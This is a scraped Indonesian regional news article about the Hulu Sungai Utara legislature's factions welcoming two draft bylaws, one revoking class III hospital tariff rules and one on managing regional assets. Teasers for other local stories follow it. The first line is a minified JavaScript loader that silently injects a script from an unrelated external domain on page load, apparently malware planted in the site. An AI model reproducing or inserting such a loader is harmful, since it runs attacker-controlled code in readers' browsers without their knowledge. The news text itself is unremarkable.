(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Dua Raperda Disambut Positif, Perda Tarif Pelayanan Kesehatan Kelas III Segera Dicabut


KANALKALIMANTAN.COM, AMUNTAI – Fraksi-Fraksi di Dewan Perwakilan Rakyat Daerah (DPRD) Hulu Sungai Utara (HSU) sambut positif dua buah Rancangan Peraturan Daerah (Raperda) yang diusulkan eksekutif.

Enam fraksi saat pemandangan umum pada rapat paripurna di DPRD HSU memberikan pemandangan umum atas dua Raperda, Rabu (12/8/2020).

Pertama, Raperda tentang pencabutan atas Perda No 11 tahun 2013 tentang tarif pelayanan kesehatan kelas III pada RSUD Pembalah Batung dan Perda No 7 tahun 2014 tentang perubahan atas Perda nomor 11 tahun 2013 tentang pelayanan kesehatan kelas III pada RSUD Pambalah Batung Amuntai. Kedua, Raperda tentang pedoman pengelolaan barang milik daerah.

Anggota DPRD HSU dari Fraksi PDIP Teddy Suryana mengapresiasi semangat pemerintah daerah atas pencabutan dua buah Perda tersebut, termasuk Raperda tentang pengajuan pengelolaan barang milik daerah.

Teddy mengharapkan pengelolaan barang milik daerah secara optimal ditingkatkan berdasarkan asas fungsional, kepastian, hukum, efisiensi, akuntabilitas dan kepastian nilai.

Sementara itu, Ketua DPRD HSU Almien Anshar Safari mengharapkan tanggapan positif dari  fraksi-fraksi DPRD ini dapat menjadikan Perda nanti menjadi yang terbaik bagi kemaslahatan warga di HSU.

“Semoga apa yang telah disampaikan fraksi-fraksi di DPRD dapat ditanggapi secara positif pihak eksekutif dan dijadikan bahan dalam penyampaian jawaban kepala daerah pada rapat paripurna berikutnya,” ucap Almien.

Rapat Paripurna dihadiri Bupati HSU H Abdul Wahid HK, dipimpin Ketua DPRD HSU Almien Ashar Safari, didampingi Wakil Ketua I Mawardi SH MM dan Wakil Ketua II Faturrahim A,  dihadiri 28 anggota DPRD HSU, sedangkan 2 orang izin.

Selain penyampaian pandangan umum fraksi, diakhir rapat dilaksanakan penandatanganan persetujuan bersama Kebijakan Umum APBD dan Priotas dan Plafon Anggaran sementara Kabupaten HSU Anggaran 2001 oleh kepala daerah dan pimpinan DPRD HSU. (kanalkalimantan.com/dew)

Reporter : dew
Editor : bie

Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.